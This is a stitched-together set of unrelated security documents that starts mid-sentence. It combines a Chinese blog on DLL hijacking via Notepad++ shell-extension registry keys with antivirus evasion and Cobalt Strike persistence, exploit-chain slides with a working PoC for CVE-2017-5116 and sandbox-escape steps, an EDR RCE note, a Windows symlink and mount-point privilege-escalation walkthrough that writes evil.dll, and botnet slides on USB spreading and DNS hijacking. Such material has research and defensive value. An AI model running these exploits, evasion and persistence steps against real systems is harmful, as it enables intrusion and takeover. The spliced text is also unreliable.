、找出导出函数,在我们的恶意dll中按 顺序转发原函数调用并附加恶意操作(比如加载shellcode),目前已经有很多成熟的工具可以帮助找出这些 导出函数们: 文章目录 dll劫持概念 找dll劫持的 劫持notepa 免杀与权限 参考链接 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [HKEY_CLASSES_ROOT\CLSID\{B298D29A-A6ED-11DE-BA8C-A68E55D89593}] @="ANotepad++64" [HKEY_CLASSES_ROOT\CLSID\{B298D29A-A6ED-11DE-BA8C-A68E55D89593}\InprocServer32] @="C:\\Program Files\\Notepad++\\NppShell_06.dll" "ThreadingModel"="Apartment" [HKEY_CLASSES_ROOT\CLSID\{B298D29A-A6ED-11DE-BA8C-A68E55D89593}\Settings] "Title"="Edit with &Notepad++" "Path"="C:\\Program Files\\Notepad++\\notepad++.exe" "Custom"="" "ShowIcon"=dword:00000001 "Dynamic"=dword:00000001 "Maxtext"=dword:00000019 [HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\ANotepad++64] @="{B298D29A-A6ED-11DE-BA8C-A68E55D89593}" Code  开始调试时为了避免干扰因素,通常不会直接上shellcode而是用MessageBox弹窗做试验 免杀与权限维持 将恶意dll的shellcode简单处理一下后再伪造一个原dll的签名,此时就是正常签名程序->伪造签名的dll->正常 签名的dll,测试了几款主流杀软和defender,可以挺人畜无害地上线CS:  CS43伪破解与二次开发  对于权限维持而言,恶意dll会在第一次导入注册表操作时加载,之后可由任意文件上右键的行为被explore进 程拉起,不会在任务管理器中看到恶意进程,也没有类似于开机自启这种敏感行为。而且有意思的是管理员 会因为右键用杀软扫描文件的行为而上线2333 这是Web狗学习Windows的一点小测试记录,希望师傅们能分享更多好玩的tricks鸭~ 参考链接 Dynamic-Link Library Search Order Windows DLL Hijacking (Hopefully) Clarified Hijacking DLLs in Windows Adaptive DLL Hijacking 添加 Notepad++ 至右键菜单的几种方法 DLL劫持之权限维持篇(二) shellcode加载总结 #dll #hijack  由 Hexo 强力驱动 | 主题 - Even ©2021  hosch3n   
pdf
Pwning "the toughest target": the exploit chain of winning the largest bug bounty in the history of ASR program Jianjun Dai Guang Gong Wenlin Yang #whoami • Guang Gong • Senior Security Researcher and Team Leader of 360 Alpha Team • Android/Chrome CVE hunter • Speaker at Black Hat, CanSecWest, PHDays, SyScan360, MOSEC, PacSec, etc • Mobile Pwn2Own 2015, Pwn0Rama 2016, Pwn2Own 2016, PwnFest 2016, Mobile Pwn2Own 2017 winner • 1st submit the working remote exploit chain of ASR • Wenlin Yang • Security Researcher at 360 Alpha Team • Android system CVE hunter • Jianjun Dai • Security Researcher at 360 Alpha Team • Android system CVE hunter • Speaker at CanSecWest How we pwned Pixel running Android Nougat Two bugs forms the complete exploit chain • a V8 bug to compromise the renderer • a system_server bug to escape sandbox and get system user permissions Agenda • Exploition of V8 engine • Exploitation of System_server • Conclusion Exploition of V8 engine • Introduction SharedArrayBuffer and WebAssembly • Analyze the Chain of Bugs #1 - CVE-2017-5116 • Exploitation of CVE-2017-5116 SharedArrayBuffer • V8 6.0 introduced • Low-level mechanism to share memory between JavaScript workers • Unlock the ability to port threaded applications to the web via asm.js or WebAssembly // create a SharedArrayBuffer with a size in bytes const buffer = new SharedArrayBuffer(8); SharedArrayBuffer was disabled by default in all major browsers on January 2018, in response to Meltdown and Spectre WebAssembly • New type of code that can be run in modern web browsers • Low-level assembly-like language with a compact binary format that runs with near-native performance • Provide languages such as C/C++ with a compilation target • Run alongside JavaScript WebAssembly var importObject = { imports: { imported_func: arg => console.log(arg) } }; WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) .then(obj => obj.instance.exports.exported_func()); Analyze the Chain of Bugs #1 CVE-2017-5116 vulnerable Chrome: prior to 61.0.3163.79 combining the three features: WebAssembly, Web worker and SharedArrayBuffer OOB access can be triggered through a race condition Analyze the Chain of Bugs #1 SharedArrayBuffer wasm code worker thread main thread OOB Access Analyze the Chain of Bugs #1 57: i::wasm::ModuleWireBytes GetFirstArgumentAsBytes( 58: const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { …… 65: v8::Local<v8::Value> source = args[0]; 66: if (source->IsArrayBuffer()) { …… 72: } else if (source->IsTypedArray()) {//------> source should be checked if it's backed by a SharedArrayBuffer 73: // A TypedArray was passed. 74: Local<TypedArray> array = Local<TypedArray>::Cast(source); 75: Local<ArrayBuffer> buffer = array->Buffer(); 76: ArrayBuffer::Contents contents = buffer->GetContents(); 77: start = 78: reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); 79: length = array->ByteLength(); 80: } …… 91: if (thrower->error()) return i::wasm::ModuleWireBytes(nullptr, nullptr); 92: return i::wasm::ModuleWireBytes(start, start + length); 93:} buggy code Analyze the Chain of Bugs #1 <html> <h1>poc</h1> <script id="worker1"> worker:{ if (typeof window === 'object') break worker; // Bail if we're not a Worker self.onmessage = function(arg) { //%DebugPrint(arg.data); console.log("worker started"); var ta = new Uint8Array(arg.data); //%DebugPrint(ta.buffer); var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //------>4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } } } </script> PoC Analyze the Chain of Bugs #1 <script> function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b ]; var sb = new SharedArrayBuffer(wasmarr.length); //--> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; } var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) PoC var worker = new Worker(window.URL.createObjectURL(blob)); //--->2) create a web worker var sta = getSharedTypedArray(); //%DebugPrint(sta.buffer); worker.postMessage(sta.buffer); //---->3)pass the WebAssembly code to the web worker setTimeout(function(){ while(1){ try{ //console.log(sta[50]); sta[51]=0; var myModule = new WebAssembly.Module(sta); //- -->4) parse the webassembly code var myInstance = new WebAssembly.Instance(myModule); }catch(e){ } } },1000); //worker.terminate(); </script> </html> Analyze the Chain of Bugs #1 WebAssembly code in PoC 00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end worker thread 000032: 10 80 | call 128 main thread OOB access Analyze the Chain of Bugs #1 “call 0” can be modified to call any wasm functions 000032: 10 00 | call 0 000032: 10 xx | call $leak (func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 )) registers and stack contents are dumped to Web Assembly memory, many useful pieces of data in the stack being leaked Analyze the Chain of Bugs #1 Any “call funcX” can be modified to “call funcY” /*Text format of funcX*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcX*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code --- the first 5 arguments are passed through the registers , the sixth argument is passed through stack v8 compiles funcX in ia32 arch Analyze the Chain of Bugs #1 If “call funcX” be modified to “call JS_TO_WASM” /*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42> // created by v8 compiler internally // first arguments is passed through stack So, what will happen? Analyze the Chain of Bugs #1 /*Disassembly code of JS_TO_WASM function */ --- Code --- …… 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42> /*Text format of funcX*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) …… 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 call ToNumber(sixth_arg) any value to be taken as object pointer Exploit the Chain of Bugs #1 exploitation of OOB access is straightforward • Leak ArrayBuffer’s content • Fake an ArrayBuffer a double array by using leaked data • Pass faked ArrayBuffer’s address to ToNumber • Modify BackingStore and ByteLength of the ArrayBuffer in callback • Get arbitrary memory read/write • Overwrite JIT code with shellcode A lot of people have talked about the exploition methods. Not explain in detail here. Patch Exploitation of System_server •Analyze the bug, Chain of Bugs #2 - CVE-2017-14904 •Escape sandbox and achieve remotely triggering the bug •Exploit the bug Analyze Chain of Bugs #2 Use-After-Unmap bug in Android's libgralloc module - hardware/qcom/display/msm8996/libgralloc map and unmap mismatch in function gralloc_map and gralloc_unmap Analyze Chain of Bugs #2 static int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle){ …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; } else { err = -EACCES; } …… return err; } chrome renderer process controlled by save mappedAddress+offset to hnd->base Analyze Chain of Bugs #2 static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) { …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) { int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err; } hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched Escape Sandbox • Restriction of seLinux imposed on chrome allow isolated_app activity_service:service_manager find; allow isolated_app display_service:service_manager find; allow isolated_app webviewupdate_service:service_manager find; neverallow isolated_app { service_manager_type -activity_service -display_service -webviewupdate_service }:service_manager find; system/sepolicy /isolated_app.te chrome process Escape Sandbox • Restriction of seLinux imposed on chrome public final int startActivity(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions) { return startActivityAsUser(caller, callingPackage, intent, resolvedType, resultTo, resultWho, requestCode, startFlags, profilerInfo, bOptions, UserHandle.getCallingUserId()); } public final int startActivityAsUser(IApplicationThread caller, String callingPackage, Intent intent, String resolvedType, IBinder resultTo, String resultWho, int requestCode, int startFlags, ProfilerInfo profilerInfo, Bundle bOptions, int userId){ enforceNotIsolatedCaller("startActivity"); userId = mUserController.handleIncomingUser(Binder.getCallingPid(), Binder.getCallingUid(), userId, false, ALLOW_FULL_ONLY, "startActivity", null); // TODO: Switch to user app stacks here. return mActivityStarter.startActivityMayWait(caller, -1, callingPackage, intent, resolvedType, null, null, resultTo, resultWho, requestCode, startFlags, profilerInfo, null, null, bOptions, false, userId, null, null); } void enforceNotIsolatedCaller(String caller) { if (UserHandle.isIsolated(Binder.getCallingUid())) { throw new SecurityException("Isolated process not allowed to call " + caller); } } Escape Sandbox • An ingenious way public interface Parcelable { … public void writeToParcel(Parcel dest, int flags); public interface Creator<T> { public T createFromParcel(Parcel source); public T[] newArray(int size); … } Chrome Renderer (Sandboxed) be called from binder call A lot of classes implement the interface Parcelable public class GraphicBuffer implements Parcelable { … public GraphicBuffer createFromParcel(Parcel in) {…} } Escape Sandbox • An ingenious way case CONVERT_TO_TRANSLUCENT_TRANSACTION: { data.enforceInterface(IActivityManager.descriptor); IBinder token = data.readStrongBinder(); final Bundle bundle; if (data.readInt() == 0) { bundle = null; } else { bundle = data.readBundle(); } final ActivityOptions options = ActivityOptions.fromBundle(bundle); boolean converted = convertToTranslucent(token, options); …… } public static ActivityOptions fromBundle(Bundle bOptions) { return bOptions != null ? new ActivityOptions(bOptions) : null; } public ActivityOptions(Bundle opts) { opts.setDefusable(true); mPackageName = opts.getString(KEY_PACKAGE_NAME); try { mUsageTimeReport = opts.getParcelable(KEY_USAGE_TIME_REPORT); } catch (RuntimeException e) { Slog.w(TAG, e); } …… Escape Sandbox Bundle GraphicBuffer system_server chrome process createFromParcel Exploit the bug • Address space shaping, create some continuous ashmem mapping • Unmap part of the heap and part of an ashmem memory by triggering the bug • Fill the unmapped space with an ashmem memory • Spray the heap, heap data will be written to the ashmem memory • Leak some module’s base address, overwrite virtual function pointer of GraphicBuffer • Trigger a GC to execute ROP Exploit the bug Step 1: address space shaping [anon:libc_malloc] Heap chunk /dev/ashmem/29 /dev/ashmem/28 …… /dev/ashmem/25 /dev/ashmem/24 continuous ashmem mapping 0x7f54600000 0x7f54800000 Exploit the bug Step 2: trigger the bug, unmap part of heap and an ashmem /dev/ashmem/1000 [anon:libc_malloc] 4KB 2M-4KB /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 Unmap 4KB heap unmap (2M-4KB) ashmem 0x7f547ff000 0x7f549ff000 2M gap Exploit the bug Step 3: fill the unmapped space with an ashmem memory /dev/ashmem/1000 [anon:libc_malloc] /dev/ashmem/1001 /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 fill with an ashmem 0x7f547ff000 0x7f549ff000 Exploit the bug Step 4: spray the heap /dev/ashmem/1000 [anon:libc_malloc] sprayed data /dev/ashmem/1001 /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 heap manager allocate memory from range 0x7f547ff000 - 0x7f54800000 in ashmem1001 0x7f547ff000 0x7f549ff000 0x7f54800000 Exploit the bug Step 5: allocate GraphicBuffer objects in ashmem overwrite virtual function pointer /dev/ashmem/1000 [anon:libc_malloc] GraphicBuffer /dev/ashmem/1001 /dev/ashmem/29 …… /dev/ashmem/25 /dev/ashmem/24 0x7f547ff000 0x7f54800000 system_server chrome process Exploit the bug Step 6: trigger a GC to execute ROP class RefBase { public: ... virtual void onLastStrongRef(const void* id); virtual void onLastWeakRef(const void* id); ... }; inherit class GraphicBuffer overwrite ROPs When a GraphicBuffer object is deconstructed, onLastStrongRef is called. Finding an ROP chain in limited module(libui). Conclusion • Compromising the chrome renderer with v8 bug CVE-2017-5116 • Using an ingenious way, combining with the bug CVE-2017-14904, to archive getting the privilege of system_server • The two bugs are already fixed on Security Update of December 2017 Acknowledgements All colleagues at Alpha Team 360 C0RE Team Thanks
pdf
关于某EDR多处RCE漏洞的简单分析 RCE_1? 漏洞⽂件 1. tool\log\c.php 通过URL传参初始化变量,经典的变量覆盖漏洞。 Y4er ChaBug 昨天 RCE_2? 1. tool\php_cli.php 同样的问题,感觉这个更过分了,bypass waf webshell? RCE_3? 1. tool\ldb_cli.php 同。 RCE_4? 1. tool\mdd_sql.php 任意⽂件读取 1. store\cat.php 算了,⼤家都看得懂 啊,这, 算了,不看了
pdf
windows特权滥用攻击 本文主要介绍利用windows特权滥用进行本地权限提升攻击。 特权滥用的bug 以高权限运行的进程(一般指system权限)会像其他进程一样对文件进行各类操作(如增删改查),当高权限 进程在没有进行任何防御措施的情况下访问用户文件或者是目录时则有可能造成安全问题。我们一般所 熟知的此类问题有DLL planting或者是利用可写服务操作等,但除此之外还有其他的文件系统的攻击方 法可以被我们利用,且由于此类攻击属于逻辑漏洞,不涉及内存操作所以不会像内核提权那样有太多的 版本限制以及可能造成的bsod等风险。 漏洞位置 用户可写项 一般用户(普通用户)可以写入的位置如下: 用户自己的目录、文件,包括其appdata和temp文件夹,一般高权限进程不会访问此类文件,AV 除外。 public的文件、目录 C:\ProgramData及其子目录 C:\Windows\Temp及其子目录 至于一个文件目录的权限查看方式则有很多 AccessChk, icacls ,Get-Acl等,最简单的就是直接用GUI的 文件夹查看器: 特权文件操作 这个简单的方法就是procmon来看了,直接过滤指定事件即可。 但这些仅为进程自己执行的操作,如果你想深入挖掘更多的信息如ALPC、COM等等的话,则需要自己 逆向相关程序。 漏洞利用 这个已经有了N多的利用文章了,根据情况来使用即可: https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html 并且开源了利用工具:https://github.com/googleprojectzero/symboliclink-testing-tools 及.net库:h ttps://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtApiDot Net NTFS junctions NTFS链接,有点类似于linux下面的mount功能,即允许将文件设置为文件系统的挂载点。 如图所示,在打开C:\Dir\file.txt 时将打开C:\Other\file.txt,也可以进行跨卷操作,比如将C:\Dir\重定向 到D:\Dir\,一般可以利用symboliclink-testing-tools中的CreateMountPoint 工具来实现这一点,如果 只是单纯的想要创建链接的话,可以使用mklink或者powershell中的New-Item的-Type Junction 参 数。 Hard links 硬链接,含义与linux中的含义相同,不支持目录和跨卷操作(无意义) symboliclink-testing-tools中的CreateHardLink可以进行此类操作,此类攻击在win10中得到缓解,其 缓解如下: 所以在新版本的windows中,如果使用NtApiDotNet库来进行创建硬链接的话,会显示以下情况: Object Manager symbolic links 虽然 NTFS 确实提供文件系统符号链接,但在 Windows 上,非特权用户无法在文件系统上创建符号链 接:它需要SeCreateSymbolicLinkPrivilege,默认情况下仅授予管理员。然而,非特权用户可以在 Windows 的对象管理器中创建符号链接,顾名思义,它管理诸如进程和文件之类的对象。用户可以在可 写对象目录中创建对象符号链接,例如\RPC CONTROL\,这些符号链接可以指向任意路径——包括文件 系统上的路径——无论该路径当前是否存在。 作为非特权用户,我们可以链接一个挂载点,该挂载点解析为该\RPC Control\目录中的对象管理器符号 链接: 在上图中,C:\Dir\file.txt解析为C:\Other\stuff.any。我们可以使用CreateMountPoint和 CreateDosDeviceSymlink来执行此类操作。 By any chance if you are testing the code on Insider Preview, it will give you access denied as MS has prevented hard link to files that you have no write access to. The mitigation is implemented in file system driver (e.g. ntfs.sys) Opportunistic locks 机会锁 (oplock) 是一种可以放置在文件上的锁,以便在其他进程想要访问该文件时得到通知——同时延 迟来自这些进程的访问,以便锁定进程可以在解除文件之前使文件处于适当的状态锁。最初设计用于通 过 SMB 缓存客户端-服务器文件访问. 其利用方法为:通过设置伪符号链接(和以前一样)并在最终文件(符号链接的目标)上放置一个机会 锁,我们可以在目标文件打开时更改符号链接(即使目标文件被锁定,符号链接没有)并使其指向另一 个目标文件: 在上图中文件的第一次访问C:\Dir\file.txt将打开C:\One\foo.xxx,第二次访问将打开C:\Two\bar.yyy。 我们可以使用SetOpLock和CreateSymlink。来实现此类攻击。 Exploit 假如说目前有以下场景, 在C:\ProgramData\Product\Logs(具有默认/继承访问权限的目录)中创建日志文件 日志文件由特权(系统)和非特权(用户)进程创建/写入 创建日志文件的过程设置了一个显式的 ACL,以便每个人都可以写入文件(并在需要时转换它): 这会导致一个漏洞,该漏洞可被利用来创建具有任意内容的任意文件。 如果我们删除现有的日志文件,并将 Logs 目录变成一个连接到C:\Windows\System32(由于继承自 的 访问权限C:\ProgramData),问题组件的特权进程将在System32目录中创建他们的日志: 我们还可以使用符号链接技术来转移特定的日志文件(例如some.log)以使用攻击者选择的名称创建任 意文件,例如程序目录中的 DLL: 因为特权进程还在日志文件上设置了一个许可 ACL,我们也可以写入任意内容的文件。 从任意文件写入到本地权限提升 一般在具有任意文件写入时,我们常用的权限提升技术为dll劫持和文件覆盖: 除此之外还有另外的两种技术可以被我们使用: http://waleedassar.blogspot.com/2013/01/wow64logdll.html https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html 注意:第二种攻击方式在19H1之后的系统中由于 SetProcessMitigationPolicy(ProcessImageLoadPolicy)的原因已无法使用。 实操 我们将以Hide VPN为例来演示此类攻击的利用过程。该VPN会创建日志文件且提供相关权限,权限如 下: 下面就是漏洞利用了: 删除“C:\Users\AppData\Roaming\Hide.me”文件夹中的所有文件 从“C:\Users\AppData\Roaming\Hide.me”创建一个指向“C:”的挂载点 hide.me VPN 服务可以重新启动或等到计算机重新启动。一旦重新启动/重新启动,它将创建一个 挂载点到“C:”。 修改挂载点: Remove-Item -Force "C:\Users\tests\AppData\Roaming\Hide.me\*" CreateMountPoint.exe "C:\Users\tests\AppData\Roaming\Hide.me\" "C:\" DumpReparsePoint.exe "C:\Users\tests\AppData\Roaming\Hide.me\" 当服务启动时,log位置已发生变化: 下面就是来利用此类方法来执行我们的恶意代码。利用方法如下: 此时你便获得了该文件的任意写入权限: 然后就是找个一个有dll劫持类的东西,把上面的dll位置改成看可以劫持的dll,然后写入我们的恶意代码 等待它加载,在老版本的windows系统中可以利用Windows 主机服务 (svchost.exe )来运行 C:\Program.exe来实现,但在最新版本的windows测试之后发现该方法已无法使用,且会在放入该类文 件时出发警告。 如果上面都完成之后,我们便可以等待其加载我们的dll,如果一切顺利我们便可以得到一个system的 cmd。 CreateSymlink.exe "C:\xx\xx\xx\x\xx.log" C:\Windows\evil.dll 参考文章: https://itm4n.github.io/windows-dll-hijacking-clarified/ https://www.atredis.com/blog/cylance-privilege-escalation-vulnerability https://offsec.almond.consulting/intro-to-file-operation-abuse-on-Windows.html http://zeifan.my/security/privesc/2020/08/26/hideme-vpn-privesc.html
pdf
, , , Las Vegas , 2012 Aditya K Sood | Richard J Enbody SecNiche Security | Department of Computer Science and Engineering Michigan State University Botnets Die Hard Owned and Operated 2 About Us  Aditya K Sood ● PhD Candidate at Michigan State University – Working with iSEC Partners – Founder, SecNiche Security Labs – Worked previously for Armorize, Coseinc and KPMG – Active Speaker at Security conferences – LinkedIn - http ://www.linkedin.com/in/adityaks – Website: http://www.secniche.org | Blog: http://secniche.blogspot.com – Twitter: @AdityaKSood  Dr. Richard J Enbody ● Associate Professor, CSE, Michigan State University – Since 1987, teaching computer architecture/ computer security / mathematics – Co-Author CS1 Python book, The Practice of Computing using Python. – Patents Pending – Hardware Buffer Overflow Protection 3 Disclaimer  This research relates to my own efforts and does not provide the view of any of my present and previous employers. 4 Agenda  Bot Spreading Mechanisms – Browser Exploit Packs – Drive-by-Download frameworks – Spreaders – Demonstration  POST Exploitation – Understanding Ruskill – DNS Changer in Action – Other System Manipulation Tactics – Demonstration  Exploiting Browsers/HTTP – Man in the Browser – Formgrabbing – Web Injects – Demonstration  Conclusion 5 Rise of Third Generation Botnets (TGB) Zeus | SpyEye | Andromeda | Smoke | NGR | Upas | … . .. .. . . .. 6 TGB Infections started with Zeus ! 7 Bot Spreading Mechanisms Widely Deployed 8 Browser Exploit Packs  Browser Exploit Packs (BEPs) ─ Overview ● Automated frameworks containing browser exploits ● Implements the concept of Drive-by-Download attacks ● Exploits are bundled as unique modules ● Mostly written in PHP + MySQL – PHP code is obfuscated with Ion Cube encoder ● Successfully captures the statistics of infected machine ● Widely used BEPs are – BlackHole / Nuclear / Phoenix etc. ─ How is the exploit served? ● Fingerprinting browser’s environment – User-Agent string parameters – Plugin detection module – Java / PDF / Flash – Custom JavaScripts for extracting information from the infected machine 9 Browser Exploit Packs  Obfuscated JavaScripts used in BlackHole Infections ● Hiding the infected domain Obfuscated Script Deobfuscated Script 10 Browser Exploit Packs  Plugin Detection Code ─ Scripts code taken from real world case studies PDF ActiveX Detection PDF Plugin Detection 11 Demonstration 12 Drive-by-Download Attacks  Drive-by-Download ● Victim’s browser is forced to visit infected website ● IFrame redirects browser to the BEP ● Exploit is served by fingerprinting the browser environment ● Browser is exploited successfully using JavaScript Heap Spraying ● BEP silently downloads the malware onto the victim machine 13 Drive-by-Download Frameworks  Drive-by-Download Frameworks ─ Java Drive-by Generator 14 Demonstration 15 Spreaders  USB Spreading (Upas Bot - Case Study) ─ Inside USB Spreader – Widely used technique in bot design for infecting USB devices ─ Win 32 Implementation ● Bot calls RegisterDeviceNotificationW function » It can also be implemented as a windows service GUID for Raw USB Device 16  USB Spreading (Upas Bot - Case Study) ─ Plug and Play (PnP) Devices have unique set of different GUIDs – Device interface GUID » Required for dbcc_classguid  DEV_BROADCAST_DEVICEINTERFACE – Device class GUID » Defines wide range of devices ● Defines WindowProc as follows » WM_DEVICECHANGE notification message in DEV_BROADCAST_HDR » dbch_devicetype  DBT_DEVTYP_DEVICEINTERFACE ● Wait for the USB device and triggers device-change event as follows: – wParam in WindowProc » DBT_DEVICEARRIVAL | DBT_DEVICEREMOVALCOMPLETE – Fetches drive letter of the USB devices as follows » dbcv_unitmask in _DEV_BROADCAST_VOLUME | Logical drive information ● Continued ……. Spreaders 17 Spreaders  USB Spreading (Upas Bot - Case Study) ─ On successful detecting the USB, bot execute function as follows; – CopyFileW to copy malicious executable in the USB drive – CreateFileW to create autorun.inf file in the USB root directory – SetFileAttributesW to apply required files attribute Autorun.inf infection 18  USB Spreading (Upas Bot - Case Study) ─ Infecting USB devices using Malicious .LNK file infection Spreaders .LNK infection 19 Spreaders  USB Spreading (Upas Bot - Case Study) ─ Upas bot in action 20  Upas Bot Network Behavior Detection ─ Writing signature specific to USB infection Spreaders 21 POST Exploitation Subverting System Integrity 22  What is Ruskill ? ─ A termed coined in Russia ● It refers to the group of warriors who demonstrate their skill in the battle ● Typically used by Diablo game players to demonstrate their strength and power ─ How does Ruskill relate to bots? ● Ruskill module is used to demonstrate the capability of bots ● Removing traces of malware in the system after successful reboot Understanding Ruskill 23  Inside Ruskill Module ─ Found in NGR (Dorkbot) ─ Remote file downloading and execution ● Ruskill allows the bot to fetch any executable from third-party resource and execute it in the compromised system ─ Restoring System ● Ruskill monitors all the changes performed by the malicious executable in the system ● Ruskill restores the registry, files ad network settings to the same state ( before the execution of malicious binary) after reboot ● Deletes the malicious executable after successful execution in the system Understanding Ruskill 24  Inside Ruskill Module Understanding Ruskill Ruskill Detecting File, DNS and Registry modifications 25 Demonstration 26 Critical Problem - DNS Changer 27  DNS Changer ─ Exploiting the DNS resolution functionality of the infected machine ─ What it works for? ● Blocking security providers websites (Implementing blacklists) – Blocking microsoft.com updates website to restrict the downloading of updates – Restricting the opening of anti-virus vendors websites ● Redirecting the browser to the malicious domain – Forcing the infected machine to download updates from malicious domain – Triggering chain infection for downloading another set of malware onto the infected system DNS Changer in Action 28  DNS Changer ─ How this works? ● Replacing the DNS server entries in the infected machine with IP addresses of the malicious DNS server ● Adding rogue entries in the hosts configuration file ● Executing DNS amplification attack by subverting the integrity of LAN devices such as routers and gateways – It results in DNS hijacking at a large scale in the network ● Hooking DNS libraries – The preferred method is Inline hooking in which detour and trampoline functions are created to play with DNS specific DLLs. DNS Changer in Action 29  DNS Changer ─ Inside DNS hooking ● Hooking DNS API – Hooking DNSQuery (*) function calls in dnsapi.lib/dnsapi.dll – Implemented by creating a blacklist – Bot hijacks the DNS resolution flow by filtering all the incoming DNS requests ● Hooking DNS Cache Resolver Service – Cache resolver service is used for DNS caching – Bot hooks sendto function in ws2_32.dll to verify the origin of DNS query to validate if sendto function is called by dnsrsslvr.dll DNS Changer in Action 30  DNS Changer ─ Implementation in NGR bot DNS Changer in Action DNS Blocking DNS Redirection 31 Demonstration 32  Certificate Deletion ─ Removing all instances of private certificates from the infected machine Certificate Deletion ICE IX bot - certificate deletion module 33  Cryptovirology ─ Exploiting the Built-in Windows Crypto APIs ─ Cryptovirology allows malware authors to build robust malware ─ How Cryptovirology is used in designing bots? ● Generating random filenames for bots ● Creating registry entries with random keys ● Highly used for generating random DNS server entries – All DNS entries maps to the same IP address ● Of course, encrypted communication between infected machine and C&C server ● Verifying the integrity of malicious files downloaded in the system – Scrutinizing the bots Cryptovirology in Action 34  Cryptovirology ─ An instance from ICE IX bot – Windows Crypto API misuse Cryptovirology in Action 35 Exploiting Browsers Data Exfiltration Over HTTP 36 Downgrading Browser Security  Removing Protections ─ Nullifying browser client side security to perform stealthy operations ─ Internet Explorer ● Tampering zone values in the registry – \Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones ─ Firefox ● Manipulating entries in user.js file – 